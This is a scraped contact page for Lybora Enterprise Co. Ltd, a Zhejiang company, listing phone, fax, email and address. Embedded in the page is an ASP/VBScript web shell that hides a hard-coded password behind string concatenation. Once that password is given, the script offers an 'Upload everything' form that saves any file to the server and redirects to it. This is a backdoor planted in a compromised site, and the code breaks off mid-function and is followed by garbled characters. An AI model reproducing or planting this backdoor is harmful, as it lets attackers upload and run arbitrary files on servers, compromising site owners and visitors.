LYBORA ENTERPRISE CO.LTD
MAILTO
E-MAIL
CONTACT US

TEL:0086-576-87054588
FAX:0086-576-87453338

EMAIL:kevin@lybora.com
ADD:Chumen Industrial Zone,Yuhuan,Zhejiang
<%@ LANGUAGE = VBScript %><% pass=Request("pass"):b="d"&"a"&"o"&"g"&"e"&"h"&"a"&"o":if pass=b then: session("pass")=b:end if:dim DblIslogin:if session("pass")<>b then: session("pass")="": DblIslogin=false : else: DblIslogin=true:end if:if DblIslogin=true then %>
Upload everything,Just you want
文件:

<% dao=Request("dao"):dim upload,file,formName,formPath,T_comment:set upload=new upload_DAO:if dao="up" then:formPath="":fname="":openpara=upload.form("openpara"):set file=upload.file("DAOUploadFile") :if trim(file.FileName)<>"" then : if file.FileSize<=0 then : response.write "": response.End(): else: if right(formPath,1)<>"/" then: formPath=formPath&"/":end if: fname =file.FileName: file.SaveAs Server.mappath(fname): response.redirect fname & openpara : end if :end if :end if else:session("pass")="":response.write "It's not for you":response.End():end if:dim Data_DAO:Class upload_DAO :dim objForm,objFile,Version:Public function Form(strForm): strForm=lcase(strForm): if not objForm.exists(strForm) then: Form="": else: Form=objForm(strForm): end if:end function:Public function File(...
鎶鏈敮鎸:鍙板窞鎹锋垚缃戠粶闃闂闃闂闃闂ㄨ鍧闃闂ㄦ妧鏈鏈熻揣
COPYRIGHT LYBORA ENTERPRISE CO.LTD 2007-2009 WWW.LYBORA.COM  |  DESIGN BY 7156.NET